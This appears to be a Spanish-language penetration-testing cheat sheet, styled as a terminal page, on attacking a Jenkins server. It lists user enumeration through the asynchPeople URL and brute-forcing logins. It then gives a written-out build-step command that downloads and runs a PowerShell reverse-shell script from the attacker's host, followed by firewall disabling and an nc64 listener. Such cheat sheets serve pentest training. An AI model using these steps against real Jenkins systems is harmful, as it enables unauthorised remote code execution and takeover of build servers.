[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/explotacion-jenkins
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd explotacion-jenkins/█
Explotación de Jenkins
Jenkins
Detectar los puertos del servicio (ver escaneo de puertos).
Ingresar a la URL del servicio para enumerar los usuarios del sistema:
http://<SERVER_NAME>.<DOMAIN>:8080/asynchPeopleFuerza bruta del login (probar el username como contraseña).
En My Views, abrir un proyecto y navegar a Configure > Build Steps > Execute Windows batch command.
Ingresar el comando para descargar y ejecutar una reverse shell en PowerShell:
powershell iex (iwr -UseBasicParsing http://<LOCAL_IP_ADDRESS>/Invoke-PowerShellTcp.ps1); Power -Reverse -IPAddress <LOCAL_IP_ADDRESS> -Port 443Guardar con Save.
Levantar un servidor web en <LOCAL_IP_ADDRESS> sirviendo Invoke-PowerShellTcp.ps1 en el puerto 443.
Crear una regla en el Firewall de Windows que acepte la conexión, o deshabilitarlo.
Ejecutar un listener:
nc64.exe -nlvp 443Ejecutar el proyecto de Jenkins con Build Now.